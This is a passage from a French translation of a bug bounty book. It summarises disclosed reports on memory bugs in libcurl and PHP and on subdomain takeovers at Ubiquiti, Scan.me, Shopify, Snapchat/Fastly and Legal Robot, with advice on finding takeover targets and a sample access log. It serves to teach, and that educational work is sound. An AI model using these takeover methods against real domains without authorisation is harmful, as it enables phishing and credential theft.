Cependant, comme mentionné ci-dessus, si vous débutez, il vaut peut-être mieux


renoncer à la recherche de ces types de vulnérabilités et y revenir lorsque vous
serez plus à l'aise avec le piratage en chapeau blanc.

3. Libcurl lu hors limites

Difficulté: Haut
URL: N / A

Lien de rapport:http://curl.haxx.se/docs/adv_20141105.html16

Date de déclaration: 5 novembre 2014

Prime payée: 1 000$

Description:
Libcurl est une bibliothèque gratuite de transfert d'URL côté client et utilisée par l'outil de ligne de
commande cURL pour transférer des données. Une vulnérabilité a été trouvée dans la fonction libcurl
curl_easy_duphandle() qui aurait pu être exploitée pour envoyer des données sensibles qui n'étaient pas
destinées à la transmission.

Lors d'un transfert avec libcurl, il est possible d'utiliser une option, CURLOPT_COPY-POSTFIELDS pour spécifier
un emplacement mémoire pour les données à envoyer au serveur distant. En d’autres termes, pensez à un
réservoir de stockage pour vos données. La taille de l'emplacement (ou du réservoir) est définie avec une
option distincte.

Maintenant, sans entrer dans des détails trop techniques, la zone mémoire était associée à un « handle
» (savoir exactement ce qu’est un handle dépasse le cadre de ce livre et n’est pas nécessaire).

16http://curl.haxx.se/docs/adv_20141105.html
Mémoire 130

à suivre ici) et les applications pourraient dupliquer le handle pour créer une copie des
données. C'est là que se trouvait la vulnérabilité - l'implémentation de la copie a été
réalisée avec lestrdupfonction et les données étaient supposées avoir un octet zéro (nul)
qui indique la fin d'une chaîne.

Dans cette situation, les données ne peuvent pas avoir d'octet zéro (nul) ou en avoir un à un
emplacement arbitraire. En conséquence, le handle dupliqué pourrait être trop petit, trop grand ou faire
planter le programme. De plus, après la duplication, la fonction d'envoi de données ne tenait pas compte
des données déjà lues et dupliquées, de sorte qu'elle accédait et envoyait également des données au-
delà de l'adresse mémoire à laquelle elle était destinée.

Points à retenir

Ceci est un exemple de vulnérabilité très complexe. Bien que cela soit à la limite trop technique
pour les besoins de ce livre, je l'ai inclus pour démontrer les similitudes avec ce que nous avons
déjà appris. Lorsque nous avons analysé cela, cette vulnérabilité était également liée à une erreur
dans l'implémentation du code C associée à la gestion de la mémoire, en particulier la copie de la
mémoire. Encore une fois, si vous envisagez de commencer à creuser dans la programmation de
niveau C, commencez à rechercher les zones dans lesquelles les données sont copiées d'un
emplacement mémoire à un autre.

4. Corruption de la mémoire PHP

Difficulté: Haut

URL: N / A

Lien de rapport:https://bugs.php.net/bug.php?id=6945317

Date de déclaration: 14 avril 2015

Prime payée: 500$

Description:

La méthode phar_parse_tarfile ne prenait pas en compte les noms de fichiers commençant par un octet nul, un octet
commençant par une valeur de zéro, c'est-à-dire 0x00 en hexadécimal.

Pendant l'exécution de la méthode, lorsque le nom de fichier est utilisé, un débordement excessif dans le tableau
(c'est-à-dire une tentative d'accès à des données qui n'existent pas réellement et qui se trouvent en dehors de la
mémoire allouée du tableau) se produira.

Il s'agit d'une vulnérabilité importante car elle permet à un pirate informatique d'accéder à la mémoire qui
devrait être interdite.
17https://bugs.php.net/bug.php?id=69453
Mémoire 131

Points à retenir

Tout comme les débordements de mémoire tampon, la corruption de mémoire est une
vulnérabilité ancienne mais toujours courante lorsqu'il s'agit d'applications qui gèrent leur
propre mémoire, en particulier C et C++. Si vous découvrez que vous avez affaire à une
application Web basée sur le langage C (dans lequel PHP est écrit), recherchez les moyens de
manipuler la mémoire. Cependant, encore une fois, si vous débutez, cela vaut probablement plus
la peine de trouver des vulnérabilités liées à l'injection plus simples et de revenir à la corruption
de mémoire lorsque vous aurez plus d'expérience.

Résumé

Même si les vulnérabilités liées à la mémoire font la une des journaux, elles sont très difficiles à résoudre
et nécessitent des compétences considérables. Il est préférable de laisser ces types de vulnérabilités de
côté, sauf si vous avez une expérience en programmation dans les langages de programmation de bas
niveau.

Bien que les langages de programmation modernes y soient moins sensibles en raison de leur propre
gestion de la mémoire et du garbage collection, les applications écrites dans les langages de
programmation C restent très sensibles. De plus, lorsque vous travaillez avec des langages modernes
écrits en langages de programmation C eux-mêmes, les choses peuvent devenir un peu délicates,
comme nous l'avons vu avec lePHP ftp_genlist()etModule Hotshot Pythonexemples.
16. Reprise de sous-domaine

Description

Une prise de contrôle de sous-domaine est en réalité ce à quoi cela ressemble : une situation dans laquelle une
personne malveillante peut revendiquer un sous-domaine au nom d'un site légitime. En un mot, ce type de
vulnérabilité implique qu'un site crée une entrée DNS pour un sous-domaine, par exemple Heroku (la société
d'hébergement) et ne revendique jamais ce sous-domaine.

1. example.com s'inscrit sur Heroku


2. example.comcrée une entrée DNS pointant le sous-domaine.example.com vers unicorn457.heroku.com
3. example.com ne revendique jamais unicorn457.heroku.com
4. Une personne malveillante revendique unicorn457.heroku.com et reproduit example.com
5. Tout le trafic du sous-domaine.example.com est dirigé vers un site Web malveillant qui
ressemble à example.com

Ainsi, pour que cela se produise, il doit y avoir des entrées DNS non réclamées pour un service externe
comme Heroku, Github, Amazon S3, Shopify, etc. Un excellent moyen de les trouver consiste à utiliser
KnockPy, qui est abordé dans la section Outils et parcourt une liste commune de sous-domaines pour
vérifier leur existence.

Exemples

1. Reprise du sous-domaine Ubiquiti

Difficulté: Faible

URL: http://assets.goubiquiti.com

Lien de rapport:https://hackerone.com/reports/1096991

Date de déclaration: 10 janvier 2016

Prime payée: 500$

Description:
1https://hackerone.com/reports/109699
Reprise de sous-domaine 133

Tout comme la description des reprises de sous-domaines l'indique, http://assets.goubiquiti.com avait une
entrée DNS pointant vers Amazon S3 pour le stockage de fichiers, mais aucun compartiment Amazon S3
n'existait réellement. Voici la capture d'écran de HackerOne :

DNS des actifs de Goubiquiti

En conséquence, une personne malveillante pourrait revendiquer uwn-images.s3-website-us-west-1.amazonaws.com


et y héberger un site. En supposant qu'ils puissent le faire ressembler à Ubiquiti, la vulnérabilité ici incite les
utilisateurs à soumettre des informations personnelles et à reprendre des comptes.

Points à retenir

Les entrées DNS présentent une nouvelle et unique opportunité d’exposer des vulnérabilités.
Utilisez KnockPy pour tenter de vérifier l'existence de sous-domaines, puis confirmez qu'ils
pointent vers des ressources valides en accordant une attention particulière aux fournisseurs de
services tiers comme AWS, Github, Zendesk, etc. - des services qui vous permettent d'enregistrer
des URL personnalisées.

2. Scan.me pointant vers Zendesk

Difficulté: Faible

URL: support.scan.me

Lien de rapport:https://hackerone.com/reports/1141342

Date de déclaration: 2 février 2016

Prime payée: 1 000$ Description:

Tout comme l'exemple d'Ubiquiti, ici, scan.me - une acquisition de Snapchat - avait une entrée
CNAME pointant support.scan.me vers scan.zendesk.com. Dans cette situation, le hacker harry_mg
a pu revendiquer scan.zendesk.com vers lequel support.scan.me aurait été dirigé.

Et c'est tout. Paiement de 1 000 $�

Points à retenir

FAITES ATTENTION! Cette vulnérabilité a été découverte en février 2016 et n'était pas du tout complexe. Une
chasse aux insectes réussie nécessite une observation approfondie.

2https://hackerone.com/reports/114134
Reprise de sous-domaine 134

3. Reprise du sous-domaine Shopify Windsor

Difficulté: Faible

URL: windsor.shopify.com

Lien de rapport:https://hackerone.com/reports/1503743

Date de déclaration: 10 juillet 2016

Prime payée: 500$

Description:

En juillet 2016, Shopify a révélé un bug dans sa configuration DNS qui avait laissé le sous-
domaine windsor.shopify.com redirigé vers un autre domaine,aislingofwindsor.com dont ils
ne possédaient plus. En lisant le rapport et en discutant avec le journaliste @zseano, il y a
quelques éléments qui rendent cela intéressant et remarquable.

Tout d'abord, @zseano, ou Sean, est tombé sur la vulnérabilité alors qu'il recherchait un autre client avec
lequel il travaillait. Ce qui a attiré son attention, c'est le fait que les sous-domaines étaient *.shopify.com. Si
vous connaissez la plateforme, les magasins enregistrés suivent le modèle de sous-domaine, *.myshopify.com.
Cela devrait être un signal d’alarme pour des domaines supplémentaires dans lesquels tester les vulnérabilités.
Félicitations à Sean pour cette observation approfondie. Cependant, à ce propos, la portée du programme
Shopify limite explicitement son programme aux boutiques Shopify, à leur administrateur et à leur API, aux
logiciels utilisés dans l'application Shopify et à des sous-domaines spécifiques. Il indique que si le domaine
n'est pas explicitement répertorié, il n'est pas dans le champ d'application, donc ici, ils n'ont pas eu besoin de
récompenser Sean.

Deuxièmement, l'outil utilisé par Sean,crt.shest génial. Il faudra un nom de domaine, un nom
d'organisation, une empreinte digitale de certificat SSL (plus si vous avez utilisé la recherche avancée) et
renverra les sous-domaines associés aux certificats de la requête de recherche. Pour ce faire, il surveille
les journaux de transparence des certificats. Bien que ce sujet dépasse le cadre de ce livre, en un mot, ces
journaux vérifient que les certificats sont valides. Ce faisant, ils révèlent également un grand nombre de
serveurs et de systèmes internes potentiellement cachés, qui devraient tous être explorés si le
programme que vous piratez inclut tous les sous-domaines (certains ne le font pas !).

Troisièmement, après avoir trouvé la liste, Sean a commencé à tester les sites un par un. Il s'agit d'une
étape qui peut être automatisée, mais rappelez-vous qu'il travaillait sur un autre programme et qu'il a
été mis de côté. Ainsi, après avoir testé windsor.shopify.com, il a découvert qu'il renvoyait une page
d'erreur de domaine expiré. Naturellement, il acheta le domaine,aislingofwindsor.comalors maintenant
Shopify pointait vers son site. Cela aurait pu lui permettre d'abuser de la confiance qu'une victime aurait
envers Shopify, car il semblerait qu'il s'agisse d'un domaine Shopify.

Il a terminé le piratage en signalant la vulnérabilité à Shopify.


3https://hackerone.com/reports/150374
Reprise de sous-domaine 135

Points à retenir

Comme décrit, il y a plusieurs points à retenir ici. Tout d’abord, commencez à utilisercrt.shpour découvrir des
sous domaines. Cela semble être une mine d’or de cibles supplémentaires au sein d’un programme.
Deuxièmement, les reprises de sous-domaines ne se limitent pas aux services externes tels que S3, Heroku,
etc. Ici, Sean a franchi une étape supplémentaire en enregistrant réellement le domaine expiré vers lequel
Shopify pointait. S'il était malveillant, il aurait pu copier la page de connexion de Shopify sur le domaine et
commencer à collecter les informations d'identification des utilisateurs.

4. Prise de contrôle rapide de Snapchat

Difficulté: Moyen
URL: http://fastly.sc-cdn.net/takeover.html

Lien de rapport:https://hackerone.com/reports/1544254

Date de déclaration: 27 juillet 2016

Prime payée: 3 000 $

Description:

Fastly est un réseau de diffusion de contenu, ou CDN, utilisé pour fournir rapidement du contenu aux
utilisateurs. L'idée d'un CDN est de stocker des copies de contenu sur des serveurs à travers le monde
afin de réduire le temps et la distance pour fournir ce contenu aux utilisateurs qui le demandent. Un
autre exemple serait CloudFront d'Amazon.

Le 27 juillet 2016, Ebrietas a signalé à Snapchat qu'il y avait une mauvaise configuration du DNS qui avait
pour résultat l'URL.http://fastly.sc-cdn.netavoir un enregistrement CNAME pointait vers un sous-domaine
Fastly dont il ne possédait pas. Ce qui rend cela intéressant, c'est que Fastly vous permet d'enregistrer
des sous-domaines personnalisés auprès de leur service si vous souhaitez chiffrer votre trafic avec TLS et
utiliser leur certificat générique partagé pour ce faire. Selon lui, la visite de l'URL a entraîné l'apparition
d'un message similaire à"Erreur Fastly : domaine inconnu : XXXXX. Veuillez vérifier que ce domaine a
été ajouté à un service..

Bien qu'Ebrietas n'ait pas inclus l'URL Fastly utilisée lors de la prise de contrôle, en consultant la
documentation Fastly (https://docs.fastly.com/guides/securing-communications/setting-up-freetls), il
semble qu'elle aurait a suivi le modèle EXAMPLE.global.ssl.fastly.net. Sur la base de sa référence au
sous-domaine étant « une instance de test de fastly », il est encore plus probable que Snapchat l'ait
configuré en utilisant le certificat générique Fastly pour tester quelque chose.

En outre, deux points supplémentaires rendent ce rapport remarquable et méritent d’être


expliqués :
4https://hackerone.com/reports/154425
Reprise de sous-domaine 136

1.fastly.sc-cdn.netétait le sous-domaine de Snapchat qui pointait vers le Fastly CDN. Ce domaine, sc-
cdn.net, n’est pas très explicite et pourrait vraiment appartenir à n’importe qui si vous deviez le
deviner rien qu’en le regardant. Pour confirmer sa propriété, Ebrietas a recherché le certificat
SSL avec cesys.io. C’est ce qui distingue les bons hackers des grands hackers : ils effectuent
cette étape supplémentaire pour confirmer vos vulnérabilités plutôt que de prendre des
risques.
2. Les implications du rachat n'étaient pas immédiatement apparentes. Dans son rapport initial,
Ebrietas déclare qu'il ne semble pas que le domaine soit utilisé nulle part sur Snapchat. Cependant,
il a laissé son serveur opérationnel, vérifiant les journaux après un certain temps uniquement pour
trouver les appels Snapchat, confirmant que le sous-domaine était réellement utilisé.

root@localhost:~# cat /var/log/apache2/access.log | grep -v état du serveur | grep sn\


apchat -i

23.235.39.33 - - [02/Août/2016:18:28:25 +0000] "GET /bq/story_blob?story_id=fRaYutXlQ\


BosonUmKavo1uA&t=2&mt=0 HTTP/1.1...
23.235.39.43 - - [02/août/2016:18:28:25 +0000] "GET /bq/story_blob?story_id=f3gHI7yhW\
- Q7TeACCzc2nKQ&t=2&mt=0 HTTP/1.1...
23.235.46.45 - - [03/Août/2016:02:40:48 +0000] "GET /bq/story_blob?story_id=fKGG6u9zG\
4juOFT7-k0PNWw&t=2&mt=1&encoding...
23.235.46.23 - - [03/Août/2016:02:40:49 +0000] "GET /bq/story_blob?story_id=fco3gXZkb\
BCyGc_Ym8UhK2g&t=2&mt=1&encoding...
43.249.75.20 - - [03/Août/2016:12:39:03 +0000] "GET /discover/dsnaps?edition_id=45273\
66714425344&dsnap_id=56515658813...
43.249.75.24 - - [03/Août/2016:12:39:03 +0000] "GET /bq/story_blob?story_id=ftzqLQky4\
KJ_B6Jebus2Paw&t=2&mt=1&encoding...
43.249.75.22 - - [03/Août/2016:12:39:03 +0000] "GET /bq/story_blob?story_id=fEXbJ2SDn\
3Os8m4aeXs-7Cg&t=2&mt=0 HTTP/1.1...
23.235.46.21 - - [03/Août/2016:14:46:18 +0000] "GET /bq/story_blob?story_id=fu8jKJ_5y\
F71_WEDi8eiMuQ&t=1&mt=1&encoding...
23.235.46.28 - - [03/Août/2016:14:46:19 +0000] "GET /bq/story_blob?story_id=flWVBXvBX\ Toy-
vhsBdze11g&t=1&mt=1&encoding...
23.235.44.35 - - [04/Août/2016:05:57:37 +0000] "GET /bq/story_blob?story_id=fuZO-2ouG\
dvbCSggKAWGTaw&t=0&mt=1&encoding...
23.235.44.46 - - [04/Août/2016:05:57:37 +0000] "GET /bq/story_blob?story_id=fa3DTt_mL\
0MhekUS9ZXg49A&t=0&mt=1&encoding...
185.31.18.21 - - [04/Août/2016:19:50:01 +0000] "GET /bq/story_blob?story_id=fDL270uTc\
FhyzlRENPVPXnQ&t=0&mt=1&encoding...

En résolvant le rapport, Snapchat a confirmé que même si les demandes n'incluaient pas de
jetons d'accès ou de cookies, les utilisateurs auraient pu recevoir du contenu malveillant. Il
s'avère que, selon Andrew Hill de Snapchat :
Reprise de sous-domaine 137

Un très petit sous-ensemble d'utilisateurs utilisant un ancien client qui ne s'était pas
enregistré après la période d'essai du CDN aurait recherché du contenu statique et non
authentifié (pas de média sensible). Peu de temps après, les clients auraient actualisé leur
configuration et atteint le bon point de terminaison. En théorie, des médias alternatifs
auraient pu être proposés à ce très petit groupe d'utilisateurs sur cette version client pendant
une brève période de temps.

Points à retenir

Encore une fois, nous avons quelques points à retenir ici. Tout d’abord, lorsque vous recherchez
des rachats de sous-domaines, soyez à l’affût*.global.ssl.fastly.netURL, car il s'avère que Fastly
est un autre service Web qui permet aux utilisateurs d'enregistrer des noms dans un espace de
noms global. Lorsque les domaines sont vulnérables, Fastly affiche un message du type « Le
domaine Fastly n'existe pas ».

Deuxièmement, faites toujours un pas supplémentaire pour confirmer vos vulnérabilités. Dans ce
cas, Ebrietas a recherché les informations du certificat SSL pour confirmer qu'il appartenait à
Snapchat avant de le signaler. Enfin, les implications d’un rachat ne sont pas toujours
immédiatement apparentes. Dans ce cas, Ebrietas ne pensait pas que ce service était utilisé
jusqu'à ce qu'il voit le trafic arriver. Si vous trouvez une vulnérabilité de prise de contrôle, laissez
le service actif pendant un certain temps pour voir si des demandes arrivent. Cela peut vous aider
à déterminer la gravité du problème pour expliquer la vulnérabilité du programme auquel vous
faites rapport, ce qui constitue l'un des composants d'un rapport efficace, comme indiqué dans le
chapitre Rapports de vulnérabilité.

5. api.legalrobot.com

Difficulté: Moyen
URL: api.legalrobot.com

Lien de rapport:https://hackerone.com/reports/1487705

Date de déclaration: 1 juillet 2016

Prime payée: 100$

Description:

Le 1er juillet 2016, leFrans Rosen6a soumis un rapport à Legal Robot les informant qu'il disposait
d'une entrée DNS CNAME pour api.legalrobot.com pointant vers Modulus.io mais qu'ils n'y avaient
pas revendiqué l'espace de nom.
5https://hackerone.com/reports/148770
6https://www.twitter.com/fransrosen
Reprise de sous-domaine 138

Application de module introuvable

Maintenant, vous pouvez probablement deviner que Frans a ensuite visité Modulus et a essayé de revendiquer le
sous-domaine puisqu'il s'agit d'un exemple de prise en charge et que la documentation de Modulus indique : « Tous
les domaines personnalisés peuvent être spécifiés » par leur service. Mais cet exemple est bien plus que cela.

La raison pour laquelle cet exemple est remarquable et inclus ici est que Frans a essayé cela et que
le sous-domaine était déjà revendiqué. Mais lorsqu'il n'a pas pu revendiquer api.legalrobot.com,
plutôt que de s'en aller, il a essayé de revendiquer le sous-domaine joker,*.legalrobot.com qui a
réellement fonctionné.

Vous aimerez peut-être aussi